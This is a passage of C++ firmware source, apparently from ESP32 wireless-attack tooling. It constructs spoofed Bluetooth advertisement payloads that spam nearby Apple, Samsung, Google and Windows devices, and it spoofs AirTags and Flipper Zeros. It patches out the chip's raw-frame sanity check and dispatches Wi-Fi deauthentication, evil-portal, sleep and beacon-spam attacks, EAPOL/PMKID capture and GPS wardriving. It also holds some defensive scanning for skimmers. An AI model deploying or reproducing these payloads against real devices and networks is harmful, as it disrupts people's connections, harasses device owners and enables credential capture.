#include "esp_random.h" #include "WiFiScan.h" #include "lang_var.h" #ifdef HAS_PSRAM struct mac_addr* mac_history = nullptr; #endif int num_beacon = 0; int num_deauth = 0; int num_probe = 0; int num_eapol = 0; LinkedList* ssids; LinkedList* access_points; LinkedList* stations; LinkedList* airtags; LinkedList* flippers; LinkedList* ipList; LinkedList* probe_req_ssids; extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){ if (arg == 31337) return 1; else return 0; } extern "C" { uint8_t esp_base_mac_addr[6]; esp_err_t esp_ble_gap_set_rand_addr(const uint8_t *rand_addr); } #ifdef HAS_BT //ESP32 Sour Apple by RapierXbox //Exploit by ECTO-1A NimBLEAdvertising *pAdvertising; //// https://github.com/Spooks4576 NimBLEAdvertisementData WiFiScan::GetUniversalAdvertisementData(EBLEPayloadType Type) { NimBLEAdvertisementData AdvData = NimBLEAdvertisementData(); uint8_t* AdvData_Raw = nullptr; uint8_t i = 0; switch (Type) { case Microsoft: { const char* Name = generateRandomName(); uint8_t name_len = strlen(Name); AdvData_Raw = new uint8_t[7 + name_len]; AdvData_Raw[i++] = 7 + name_len - 1; AdvData_Raw[i++] = 0xFF; AdvData_Raw[i++] = 0x06; AdvData_Raw[i++] = 0x00; AdvData_Raw[i++] = 0x03; AdvData_Raw[i++] = 0x00; AdvData_Raw[i++] = 0x80; memcpy(&AdvData_Raw[i], Name, name_len); i += name_len; AdvData.addData(std::string((char *)AdvData_Raw, 7 + name_len)); break; } case Apple: { AdvData_Raw = new uint8_t[17]; AdvData_Raw[i++] = 17 - 1; // Packet Length AdvData_Raw[i++] = 0xFF; // Packet Type (Manufacturer Specific) AdvData_Raw[i++] = 0x4C; // Packet Company ID (Apple, Inc.) AdvData_Raw[i++] = 0x00; // ... AdvData_Raw[i++] = 0x0F; // Type AdvData_Raw[i++] = 0x05; // Length AdvData_Raw[i++] = 0xC1; // Action Flags const uint8_t types[] = { 0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0 }; AdvData_Raw[i++] = types[rand() % sizeof(types)]; // Action Type esp_fill_random(&AdvData_Raw[i], 3); // Authentication Tag i += 3; AdvData_Raw[i++] = 0x00; // ??? AdvData_Raw[i++] = 0x00; // ??? AdvData_Raw[i++] = 0x10; // Type ??? esp_fill_random(&AdvData_Raw[i], 3); AdvData.addData(std::string((char *)AdvData_Raw, 17)); break; } case Samsung: { AdvData_Raw = new uint8_t[15]; uint8_t model = watch_models[rand() % 25].value; AdvData_Raw[i++] = 14; // Size AdvData_Raw[i++] = 0xFF; // AD Type (Manufacturer Specific) AdvData_Raw[i++] = 0x75; // Company ID (Samsung Electronics Co. Ltd.) AdvData_Raw[i++] = 0x00; // ... AdvData_Raw[i++] = 0x01; AdvData_Raw[i++] = 0x00; AdvData_Raw[i++] = 0x02; AdvData_Raw[i++] = 0x00; AdvData_Raw[i++] = 0x01; AdvData_Raw[i++] = 0x01; AdvData_Raw[i++] = 0xFF; AdvData_Raw[i++] = 0x00; AdvData_Raw[i++] = 0x00; AdvData_Raw[i++] = 0x43; AdvData_Raw[i++] = (model >> 0x00) & 0xFF; // Watch Model / Color (?) AdvData.addData(std::string((char *)AdvData_Raw, 15)); break; } case Google: { AdvData_Raw = new uint8_t[14]; AdvData_Raw[i++] = 3; AdvData_Raw[i++] = 0x03; AdvData_Raw[i++] = 0x2C; // Fast Pair ID AdvData_Raw[i++] = 0xFE; AdvData_Raw[i++] = 6; AdvData_Raw[i++] = 0x16; AdvData_Raw[i++] = 0x2C; // Fast Pair ID AdvData_Raw[i++] = 0xFE; AdvData_Raw[i++] = 0x00; // Smart Controller Model ID AdvData_Raw[i++] = 0xB7; AdvData_Raw[i++] = 0x27; AdvData_Raw[i++] = 2; AdvData_Raw[i++] = 0x0A; AdvData_Raw[i++] = (rand() % 120) - 100; // -100 to +20 dBm AdvData.addData(std::string((char *)AdvData_Raw, 14)); break; } case FlipperZero: { // Generate a random 5-letter name for the advertisement char Name[6]; // 5 characters + null terminator generateRandomName(Name, sizeof(Name)); uint8_t name_len = strlen(Name); // Allocate space for the full Advertisement Data section based on the hex dump AdvData_Raw = new uint8_t[31]; // Adjusted to the specific length of the data in the dump // Advertisement Data from the hex dump AdvData_Raw[i++] = 0x02; // Flags length AdvData_Raw[i++] = 0x01; // Flags type AdvData_Raw[i++] = 0x06; // Flags value AdvData_Raw[i++] = 0x06; // Name length (5 + type) AdvData_Raw[i++] = 0x09; // Complete Local Name type // Add the randomized 5-letter name memcpy(&AdvData_Raw[i], Name, name_len); i += name_len; AdvData_Raw[i++] = 0x03; // Incomplete List of 16-bit Service UUIDs length AdvData_Raw[i++] = 0x02; // Incomplete List of 16-bit Service UUIDs type AdvData_Raw[i++] = 0x80 + (rand() % 3) + 1; // Service UUID (part of hex dump) AdvData_Raw[i++] = 0x30; AdvData_Raw[i++] = 0x02; // TX Power level length AdvData_Raw[i++] = 0x0A; // TX Power level type AdvData_Raw[i++] = 0x00; // TX Power level value // Manufacturer specific data based on your hex dump AdvData_Raw[i++] = 0x05; // Length of Manufacturer Specific Data section AdvData_Raw[i++] = 0xFF; // Manufacturer Specific Data type AdvData_Raw[i++] = 0xBA; // LSB of Manufacturer ID (Flipper Zero: 0x0FBA) AdvData_Raw[i++] = 0x0F; // MSB of Manufacturer ID AdvData_Raw[i++] = 0x4C; // Example data (remaining as in your dump) AdvData_Raw[i++] = 0x75; AdvData_Raw[i++] = 0x67; AdvData_Raw[i++] = 0x26; AdvData_Raw[i++] = 0xE1; AdvData_Raw[i++] = 0x80; // Add the constructed Advertisement Data to the BLE advertisement AdvData.addData(std::string((char *)AdvData_Raw, i)); break; } case Airtag: { for (int i = 0; i < airtags->size(); i++) { if (airtags->get(i).selected) { AdvData.addData(std::string((char*)airtags->get(i).payload.data(), airtags->get(i).payloadSize)); break; } } break; } default: { Serial.println("Please Provide a Company Type"); break; } } delete[] AdvData_Raw; return AdvData; } //// https://github.com/Spooks4576 class bluetoothScanAllCallback: public NimBLEAdvertisedDeviceCallbacks { void onResult(NimBLEAdvertisedDevice *advertisedDevice) { extern WiFiScan wifi_scan_obj; //#ifdef HAS_SCREEN // int buf = display_obj.display_buffer->size(); //#else int buf = 0; //#endif String display_string = ""; if (wifi_scan_obj.currentScanMode == BT_SCAN_AIRTAG) { uint8_t* payLoad = advertisedDevice->getPayload(); size_t len = advertisedDevice->getPayloadLength(); bool match = false; for (int i = 0; i <= len - 4; i++) { if (payLoad[i] == 0x1E && payLoad[i+1] == 0xFF && payLoad[i+2] == 0x4C && payLoad[i+3] == 0x00) { match = true; break; } if (payLoad[i] == 0x4C && payLoad[i+1] == 0x00 && payLoad[i+2] == 0x12 && payLoad[i+3] == 0x19) { match = true; break; } } if (match) { String mac = advertisedDevice->getAddress().toString().c_str(); mac.toUpperCase(); for (int i = 0; i < airtags->size(); i++) { if (mac == airtags->get(i).mac) return; } int rssi = advertisedDevice->getRSSI(); Serial.print("RSSI: "); Serial.print(rssi); Serial.print(" MAC: "); Serial.println(mac); Serial.print("Len: "); Serial.print(len); Serial.print(" Payload: "); for (size_t i = 0; i < len; i++) { Serial.printf("%02X ", payLoad[i]); } Serial.println("\n"); AirTag airtag; airtag.mac = mac; airtag.payload.assign(payLoad, payLoad + len); airtag.payloadSize = len; airtags->add(airtag); #ifdef HAS_SCREEN //display_string.concat("RSSI: "); display_string.concat((String)rssi); display_string.concat(" MAC: "); display_string.concat(mac); uint8_t temp_len = display_string.length(); for (uint8_t i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } display_obj.display_buffer->add(display_string); #endif } } else if (wifi_scan_obj.currentScanMode == BT_SCAN_FLIPPER) { uint8_t* payLoad = advertisedDevice->getPayload(); size_t len = advertisedDevice->getPayloadLength(); bool match = false; String color = ""; for (int i = 0; i <= len - 4; i++) { if (payLoad[i] == 0x81 && payLoad[i+1] == 0x30) { match = true; color = "Black"; break; } if (payLoad[i] == 0x82 && payLoad[i+1] == 0x30) { match = true; color = "White"; break; } if (payLoad[i] == 0x83 && payLoad[i+1] == 0x30) { color = "Transparent"; match = true; break; } } if (match) { String mac = advertisedDevice->getAddress().toString().c_str(); String name = advertisedDevice->getName().c_str(); mac.toUpperCase(); for (int i = 0; i < flippers->size(); i++) { if (mac == flippers->get(i).mac) return; } int rssi = advertisedDevice->getRSSI(); Serial.print("RSSI: "); Serial.print(rssi); Serial.print(" MAC: "); Serial.println(mac); Serial.print("Name: "); Serial.println(name); Flipper flipper; flipper.mac = mac; flipper.name = name; flippers->add(flipper); /*#ifdef HAS_SCREEN //display_string.concat("RSSI: "); display_string.concat((String)rssi); display_string.concat(" Flipper: "); display_string.concat(name); uint8_t temp_len = display_string.length(); for (uint8_t i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } display_obj.display_buffer->add(display_string); #endif*/ #ifdef HAS_SCREEN display_obj.display_buffer->add(String("Flipper: ") + name + ", "); display_obj.display_buffer->add(" MAC: " + String(mac) + ", "); display_obj.display_buffer->add(" RSSI: " + String(rssi) + ", "); display_obj.display_buffer->add(" Color: " + String(color) + " "); #endif } } else if (wifi_scan_obj.currentScanMode == BT_SCAN_ALL) { if (buf >= 0) { display_string.concat(text_table4[0]); display_string.concat(advertisedDevice->getRSSI()); Serial.print(" RSSI: "); Serial.print(advertisedDevice->getRSSI()); display_string.concat(" "); Serial.print(" "); Serial.print("Device: "); if(advertisedDevice->getName().length() != 0) { display_string.concat(advertisedDevice->getName().c_str()); Serial.print(advertisedDevice->getName().c_str()); } else { display_string.concat(advertisedDevice->getAddress().toString().c_str()); Serial.print(advertisedDevice->getAddress().toString().c_str()); } #ifdef HAS_SCREEN uint8_t temp_len = display_string.length(); for (uint8_t i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } Serial.println(); while (display_obj.printing) delay(1); display_obj.loading = true; display_obj.display_buffer->add(display_string); display_obj.loading = false; #endif } } else if ((wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE) || (wifi_scan_obj.currentScanMode == BT_SCAN_WAR_DRIVE_CONT)) { #ifdef HAS_GPS if (gps_obj.getGpsModuleStatus()) { bool do_save = false; if (buf >= 0) { Serial.print("Device: "); if(advertisedDevice->getName().length() != 0) { display_string.concat(advertisedDevice->getName().c_str()); Serial.print(advertisedDevice->getName().c_str()); } else { display_string.concat(advertisedDevice->getAddress().toString().c_str()); Serial.print(advertisedDevice->getAddress().toString().c_str()); } if (gps_obj.getFixStatus()) { do_save = true; display_string.concat(" | Lt: " + gps_obj.getLat()); display_string.concat(" | Ln: " + gps_obj.getLon()); } else { display_string.concat(" | GPS: No Fix"); } #ifdef HAS_SCREEN uint8_t temp_len = display_string.length(); for (uint8_t i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } Serial.println(); while (display_obj.printing) delay(1); display_obj.loading = true; display_obj.display_buffer->add(display_string); display_obj.loading = false; #endif String wardrive_line = (String)advertisedDevice->getAddress().toString().c_str() + ",,[BLE]," + gps_obj.getDatetime() + ",0," + (String)advertisedDevice->getRSSI() + "," + gps_obj.getLat() + "," + gps_obj.getLon() + "," + gps_obj.getAlt() + "," + gps_obj.getAccuracy() + ",BLE\n"; Serial.print(wardrive_line); if (do_save) buffer_obj.append(wardrive_line); } } #endif } else if (wifi_scan_obj.currentScanMode == BT_SCAN_ANALYZER) { wifi_scan_obj._analyzer_value++; if (wifi_scan_obj.analyzer_frames_recvd < 254) wifi_scan_obj.analyzer_frames_recvd++; if (wifi_scan_obj.analyzer_frames_recvd > ANALYZER_NAME_REFRESH) { display_string.concat(advertisedDevice->getRSSI()); display_string.concat(" "); if(advertisedDevice->getName().length() != 0) display_string.concat(advertisedDevice->getName().c_str()); else display_string.concat(advertisedDevice->getAddress().toString().c_str()); wifi_scan_obj.analyzer_frames_recvd = 0; wifi_scan_obj.analyzer_name_string = display_string; wifi_scan_obj.analyzer_name_update = true; } } } }; class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks { void onResult(BLEAdvertisedDevice *advertisedDevice) { String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"}; #ifdef HAS_SCREEN int buf = display_obj.display_buffer->size(); #else int buf = 0; #endif if (buf >= 0) { Serial.print("Device: "); String display_string = ""; if(advertisedDevice->getName().length() != 0) { Serial.print(advertisedDevice->getName().c_str()); for(uint8_t i = 0; i < bad_list_length; i++) { #ifdef HAS_SCREEN if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0) { display_string.concat(text_table4[1]); display_string.concat(" "); display_string.concat(advertisedDevice->getName().c_str()); uint8_t temp_len = display_string.length(); for (uint8_t i = 0; i < 40 - temp_len; i++) { display_string.concat(" "); } while (display_obj.printing) delay(1); display_obj.loading = true; display_obj.display_buffer->add(display_string); display_obj.loading = false; } #endif } } else { Serial.print(advertisedDevice->getAddress().toString().c_str()); } Serial.print(" RSSI: "); Serial.println(advertisedDevice->getRSSI()); } } }; #endif WiFiScan::WiFiScan() { } /*String WiFiScan::macToString(const Station& station) { char macStr[18]; // 6 pairs of hex digits + 5 colons + null terminator snprintf(macStr, sizeof(macStr), "%02X:%02X:%02X:%02X:%02X:%02X", station.mac[0], station.mac[1], station.mac[2], station.mac[3], station.mac[4], station.mac[5]); return String(macStr); }*/ void WiFiScan::RunSetup() { if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1) this->wsl_bypass_enabled = true; else this->wsl_bypass_enabled = false; #ifdef HAS_PSRAM ssids = new (ps_malloc(sizeof(LinkedList))) LinkedList(); new (ssids) LinkedList(); #else ssids = new LinkedList(); #endif access_points = new LinkedList(); stations = new LinkedList(); airtags = new LinkedList(); flippers = new LinkedList(); ipList = new LinkedList(); probe_req_ssids = new LinkedList; // for Pinescan pinescan_trackers = new LinkedList(); confirmed_pinescan = new LinkedList(); pinescan_list_full_reported = false; // for MultiSSID multissid_trackers = new LinkedList(); confirmed_multissid = new LinkedList(); multissid_list_full_reported = false; #ifdef HAS_PSRAM mac_history = (struct mac_addr*) ps_malloc(mac_history_len * sizeof(struct mac_addr)); #endif #ifdef HAS_BT watch_models = new WatchModel[26] { {0x1A, "Fallback Watch"}, {0x01, "White Watch4 Classic 44m"}, {0x02, "Black Watch4 Classic 40m"}, {0x03, "White Watch4 Classic 40m"}, {0x04, "Black Watch4 44mm"}, {0x05, "Silver Watch4 44mm"}, {0x06, "Green Watch4 44mm"}, {0x07, "Black Watch4 40mm"}, {0x08, "White Watch4 40mm"}, {0x09, "Gold Watch4 40mm"}, {0x0A, "French Watch4"}, {0x0B, "French Watch4 Classic"}, {0x0C, "Fox Watch5 44mm"}, {0x11, "Black Watch5 44mm"}, {0x12, "Sapphire Watch5 44mm"}, {0x13, "Purpleish Watch5 40mm"}, {0x14, "Gold Watch5 40mm"}, {0x15, "Black Watch5 Pro 45mm"}, {0x16, "Gray Watch5 Pro 45mm"}, {0x17, "White Watch5 44mm"}, {0x18, "White & Black Watch5"}, {0x1B, "Black Watch6 Pink 40mm"}, {0x1C, "Gold Watch6 Gold 40mm"}, {0x1D, "Silver Watch6 Cyan 44mm"}, {0x1E, "Black Watch6 Classic 43m"}, {0x20, "Green Watch6 Classic 43m"}, }; NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE); NimBLEDevice::setScanDuplicateCacheSize(200); NimBLEDevice::init(""); pBLEScan = NimBLEDevice::getScan(); //create new scan this->ble_initialized = true; this->shutdownBLE(); esp_wifi_init(&cfg); #ifdef HAS_DUAL_BAND esp_wifi_set_country(&country); esp_event_loop_create_default(); #endif esp_wifi_set_mode(WIFI_AP_STA); esp_wifi_start(); this->wifi_initialized = true; esp_wifi_get_mac(WIFI_IF_STA, this->sta_mac); delay(10); esp_wifi_get_mac(WIFI_IF_AP, this->ap_mac); this->setMac(); this->shutdownWiFi(); #endif this->initWiFi(1); } bool WiFiScan::isHostAlive(IPAddress ip) { if (ip != IPAddress(0, 0, 0, 0)) return Ping.ping(ip, 1); // 1 try, returns true if reply received else return false; } int WiFiScan::clearStations() { int num_cleared = stations->size(); stations->clear(); Serial.println("stations: " + (String)stations->size()); // Now clear stations list from APs for (int i = 0; i < access_points->size(); i++) access_points->get(i).stations->clear(); return num_cleared; } bool WiFiScan::checkMem() { if (esp_get_free_heap_size() <= MEM_LOWER_LIM) return false; else return true; } int WiFiScan::clearAPs() { int num_cleared = access_points->size(); while (access_points->size() > 0) access_points->remove(0); Serial.println("access_points: " + (String)access_points->size()); return num_cleared; } int WiFiScan::clearIPs() { int num_cleared = ipList->size(); while (ipList->size() > 0) ipList->remove(0); Serial.println("ipList: " + (String)ipList->size()); return num_cleared; } int WiFiScan::clearAirtags() { int num_cleared = airtags->size(); while (airtags->size() > 0) airtags->remove(0); Serial.println("airtags: " + (String)airtags->size()); return num_cleared; } int WiFiScan::clearFlippers() { int num_cleared = flippers->size(); while (flippers->size() > 0) flippers->remove(0); Serial.println("Flippers: " + (String)flippers->size()); return num_cleared; } int WiFiScan::clearSSIDs() { int num_cleared = ssids->size(); ssids->clear(); Serial.println("ssids: " + (String)ssids->size()); return num_cleared; } bool WiFiScan::addSSID(String essid) { ssid s = {essid, random(1, 12), {random(256), random(256), random(256), random(256), random(256), random(256)}, false}; ssids->add(s); Serial.println(ssids->get(ssids->size() - 1).essid); return true; } int WiFiScan::generateSSIDs(int count) { uint8_t num_gen = count; for (uint8_t x = 0; x < num_gen; x++) { String essid = ""; for (uint8_t i = 0; i < 6; i++) essid.concat(alfa[random(65)]); ssid s = {essid, random(1, 12), {random(256), random(256), random(256), random(256), random(256), random(256)}, false}; ssids->add(s); Serial.println(ssids->get(ssids->size() - 1).essid); } Serial.print("Free Heap: "); Serial.print(esp_get_free_heap_size()); #ifdef HAS_PSRAM Serial.print(" Free PSRAM: "); Serial.println(heap_caps_get_free_size(MALLOC_CAP_SPIRAM)); #endif return num_gen; } bool WiFiScan::joinWiFi(String ssid, String password, bool gui) { static const char * btns[] ={text16, ""}; int count = 0; if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) { #ifdef HAS_TOUCH if (gui) { lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL); lv_msgbox_set_text(mbox1, text_table4[2]); lv_msgbox_add_btns(mbox1, btns); lv_obj_set_width(mbox1, 200); lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); //Align to the corner } #endif this->wifi_initialized = true; this->currentScanMode = WIFI_CONNECTED; return true; } else if (WiFi.status() == WL_CONNECTED) { Serial.println("Already connected. Disconnecting..."); WiFi.disconnect(); } WiFi.disconnect(true); delay(100); WiFi.mode(WIFI_MODE_STA); //esp_wifi_set_mode(WIFI_IF_STA); this->setMac(); WiFi.begin(ssid.c_str(), password.c_str()); #ifdef HAS_SCREEN #ifdef HAS_MINI_KB if (gui) { display_obj.clearScreen(); display_obj.tft.setCursor(0, TFT_HEIGHT / 2); display_obj.tft.setTextSize(1); display_obj.tft.print("Connecting"); display_obj.tft.setTextWrap(true, false); } #endif #endif Serial.print("Connecting to WiFi"); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); #ifdef HAS_SCREEN #ifdef HAS_MINI_KB if (gui) { display_obj.tft.print("."); } #endif #endif count++; if (count == 20) { Serial.println("\nCould not connect to WiFi network"); #ifdef HAS_SCREEN #ifdef HAS_MINI_KB if (gui) { display_obj.tft.println("\nFailed to connect"); delay(1000); } #endif #endif #ifdef HAS_TOUCH if (gui) { lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL); lv_msgbox_set_text(mbox1, text_table4[3]); lv_msgbox_add_btns(mbox1, btns); lv_obj_set_width(mbox1, 200); //lv_obj_set_event_cb(mbox1, event_handler); lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); //Align to the corner } #endif this->wifi_initialized = true; this->StartScan(WIFI_SCAN_OFF, TFT_BLACK); #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false, false); #endif return false; } } #ifdef HAS_TOUCH lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL); lv_msgbox_set_text(mbox1, text_table4[4]); lv_msgbox_add_btns(mbox1, btns); lv_obj_set_width(mbox1, 200); lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); //Align to the corner #endif this->connected_network = ssid; this->ip_addr = WiFi.localIP(); this->gateway = WiFi.gatewayIP(); this->subnet = WiFi.subnetMask(); Serial.println("\nConnected to the WiFi network"); Serial.print("IP address: "); Serial.println(this->ip_addr); Serial.print("Gateway: "); Serial.println(this->gateway); Serial.print("Netmask: "); Serial.println(this->subnet); Serial.print("MAC: "); Serial.println(WiFi.macAddress()); #ifdef HAS_SCREEN #ifdef HAS_MINI_KB display_obj.tft.println("\nConnected!"); display_obj.tft.print("IP address: "); display_obj.tft.println(this->ip_addr); display_obj.tft.print("Gateway: "); display_obj.tft.println(this->gateway); display_obj.tft.print("Netmask: "); display_obj.tft.println(this->subnet); display_obj.tft.print("MAC: "); display_obj.tft.println(WiFi.macAddress()); display_obj.tft.println("Returning..."); delay(2000); #endif #endif this->wifi_initialized = true; #ifndef HAS_TOUCH this->currentScanMode = WIFI_CONNECTED; #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false, false); #endif #endif settings_obj.saveSetting("ClientSSID", ssid); settings_obj.saveSetting("ClientPW", password); return true; } bool WiFiScan::startWiFi(String ssid, String password, bool gui) { static const char * btns[] ={text16, ""}; int count = 0; if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) { #ifdef HAS_TOUCH if (gui) { lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL); lv_msgbox_set_text(mbox1, text_table4[2]); lv_msgbox_add_btns(mbox1, btns); lv_obj_set_width(mbox1, 200); lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); //Align to the corner } #endif this->wifi_initialized = true; this->currentScanMode = WIFI_CONNECTED; return true; } else if (WiFi.status() == WL_CONNECTED) { Serial.println("Already connected. Disconnecting..."); WiFi.disconnect(); } WiFi.disconnect(true); delay(100); WiFi.mode(WIFI_MODE_AP); //esp_wifi_set_mode(WIFI_IF_STA); this->setMac(); if (password != "") WiFi.softAP(ssid.c_str(), password.c_str()); else WiFi.softAP(ssid.c_str()); #ifdef HAS_SCREEN #ifdef HAS_MINI_KB if (gui) { display_obj.clearScreen(); display_obj.tft.setCursor(0, TFT_HEIGHT / 2); display_obj.tft.setTextSize(1); display_obj.tft.print("Starting"); display_obj.tft.setTextWrap(true, false); } #endif #endif Serial.print("Started WiFi"); #ifdef HAS_TOUCH lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL); lv_msgbox_set_text(mbox1, text_table4[4]); lv_msgbox_add_btns(mbox1, btns); lv_obj_set_width(mbox1, 200); lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); //Align to the corner #endif this->connected_network = ssid; this->ip_addr = WiFi.softAPIP(); this->gateway = WiFi.gatewayIP(); this->subnet = WiFi.subnetMask(); Serial.println("\nStarted AP"); Serial.print("IP address: "); Serial.println(this->ip_addr); Serial.print("Gateway: "); Serial.println(this->gateway); Serial.print("Netmask: "); Serial.println(this->subnet); Serial.print("MAC: "); Serial.println(WiFi.macAddress()); #ifdef HAS_SCREEN #ifdef HAS_MINI_KB display_obj.tft.println("\nStarted AP"); display_obj.tft.print("IP address: "); display_obj.tft.println(this->ip_addr); display_obj.tft.print("Gateway: "); display_obj.tft.println(this->gateway); display_obj.tft.print("Netmask: "); display_obj.tft.println(this->subnet); display_obj.tft.print("MAC: "); display_obj.tft.println(WiFi.macAddress()); display_obj.tft.println("Returning..."); delay(2000); #endif #endif this->wifi_initialized = true; #ifndef HAS_TOUCH this->currentScanMode = WIFI_CONNECTED; #ifdef HAS_SCREEN display_obj.tft.setTextWrap(false, false); #endif #endif //settings_obj.saveSetting("APSSID", ssid); //settings_obj.saveSetting("APPW", password); return true; } // Apply WiFi settings void WiFiScan::initWiFi(uint8_t scan_mode) { // Set the channel if (scan_mode != WIFI_SCAN_OFF) { //Serial.println(F("Initializing WiFi settings...")); this->changeChannel(); this->force_pmkid = settings_obj.loadSetting(text_table4[5]); this->force_probe = settings_obj.loadSetting(text_table4[6]); this->save_pcap = settings_obj.loadSetting(text_table4[7]); this->ep_deauth = settings_obj.loadSetting("EPDeauth"); settings_obj.loadSetting("ClientSSID"); settings_obj.loadSetting("ClientPW"); //Serial.println(F("Initialization complete")); } } bool WiFiScan::scanning() { if (this->currentScanMode == WIFI_SCAN_OFF) return false; else return true; } // Function to prepare to run a specific scan void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color) { this->initWiFi(scan_mode); if (scan_mode == WIFI_SCAN_OFF) StopScan(scan_mode); else if (scan_mode == WIFI_SCAN_PROBE) RunProbeScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_STATION_WAR_DRIVE) RunProbeScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_EVIL_PORTAL) RunEvilPortal(scan_mode, color); else if (scan_mode == WIFI_SCAN_EAPOL) RunEapolScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL) RunEapolScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_ACTIVE_LIST_EAPOL) RunEapolScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_AP) RunBeaconScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_WAR_DRIVE) RunBeaconScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_SIG_STREN) RunRawScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_RAW_CAPTURE) RunRawScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_STATION) RunStationScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_TARGET_AP) RunAPScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL) RunAPScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_AP_STA) RunAPScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_PWN) RunPwnScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_PINESCAN) RunPineScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_MULTISSID) RunMultiSSIDScan(scan_mode, color); else if (scan_mode == WIFI_SCAN_DEAUTH) RunDeauthScan(scan_mode, color); else if (scan_mode == WIFI_PACKET_MONITOR) { #ifdef HAS_SCREEN RunPacketMonitor(scan_mode, color); #endif } else if ((scan_mode == WIFI_SCAN_CHAN_ANALYZER) || (scan_mode == WIFI_SCAN_PACKET_RATE)) { //#ifdef HAS_SCREEN RunPacketMonitor(scan_mode, color); //#endif } else if (scan_mode == WIFI_ATTACK_BEACON_LIST) this->startWiFiAttacks(scan_mode, color, text_table1[50]); else if (scan_mode == WIFI_ATTACK_BEACON_SPAM) this->startWiFiAttacks(scan_mode, color, text_table1[51]); else if (scan_mode == WIFI_ATTACK_RICK_ROLL) this->startWiFiAttacks(scan_mode, color, text_table1[52]); else if (scan_mode == WIFI_ATTACK_FUNNY_BEACON) this->startWiFiAttacks(scan_mode, color, text1_67); else if (scan_mode == WIFI_ATTACK_AUTH) this->startWiFiAttacks(scan_mode, color, text_table1[53]); else if (scan_mode == WIFI_ATTACK_DEAUTH) this->startWiFiAttacks(scan_mode, color, text_table4[8]); else if (scan_mode == WIFI_ATTACK_DEAUTH_MANUAL) this->startWiFiAttacks(scan_mode, color, text_table4[8]); else if (scan_mode == WIFI_ATTACK_DEAUTH_TARGETED) this->startWiFiAttacks(scan_mode, color, text_table4[47]); else if (scan_mode == WIFI_ATTACK_BAD_MSG_TARGETED) this->startWiFiAttacks(scan_mode, color, "Bad Msg Targ"); else if (scan_mode == WIFI_ATTACK_BAD_MSG) this->startWiFiAttacks(scan_mode, color, "Bad Msg"); else if (scan_mode == WIFI_ATTACK_SLEEP) this->startWiFiAttacks(scan_mode, color, "Sleep"); else if (scan_mode == WIFI_ATTACK_SLEEP_TARGETED) this->startWiFiAttacks(scan_mode, color, "Sleep Targeted"); else if (scan_mode == WIFI_ATTACK_AP_SPAM) this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam "); else if ((scan_mode == BT_SCAN_ALL) || (scan_mode == BT_SCAN_AIRTAG) || (scan_mode == BT_SCAN_FLIPPER) || (scan_mode == BT_SCAN_ANALYZER)){ #ifdef HAS_BT RunBluetoothScan(scan_mode, color); #endif } else if (scan_mode == BT_ATTACK_SOUR_APPLE) { #ifdef HAS_BT RunSourApple(scan_mode, color); #endif } else if ((scan_mode == BT_ATTACK_SWIFTPAIR_SPAM) || (scan_mode == BT_ATTACK_SPAM_ALL) || (scan_mode == BT_ATTACK_SAMSUNG_SPAM) || (scan_mode == BT_ATTACK_GOOGLE_SPAM) || (scan_mode == BT_ATTACK_FLIPPER_SPAM) || (scan_mode == BT_SPOOF_AIRTAG)) { #ifdef HAS_BT RunSwiftpairSpam(scan_mode, color); #endif } else if ((scan_mode == BT_SCAN_WAR_DRIVE) || (scan_mode == BT_SCAN_WAR_DRIVE_CONT)) { #ifdef HAS_BT RunBluetoothScan(scan_mode, color); #endif } else if (scan_mode == BT_SCAN_SKIMMERS) { #ifdef HAS_BT RunBluetoothScan(scan_mode, color); #endif } else if (scan_mode == LV_ADD_SSID) { #ifdef HAS_SCREEN RunLvJoinWiFi(scan_mode, color); #endif } else if (scan_mode == LV_JOIN_WIFI) { #ifdef HAS_SCREEN RunLvJoinWiFi(scan_mode, color); #endif } else if (scan_mode == WIFI_SCAN_GPS_NMEA){ #ifdef HAS_GPS gps_obj.enable_queue(); #endif } else if (scan_mode == GPS_TRACKER) { RunSetupGPSTracker(scan_mode); } else if 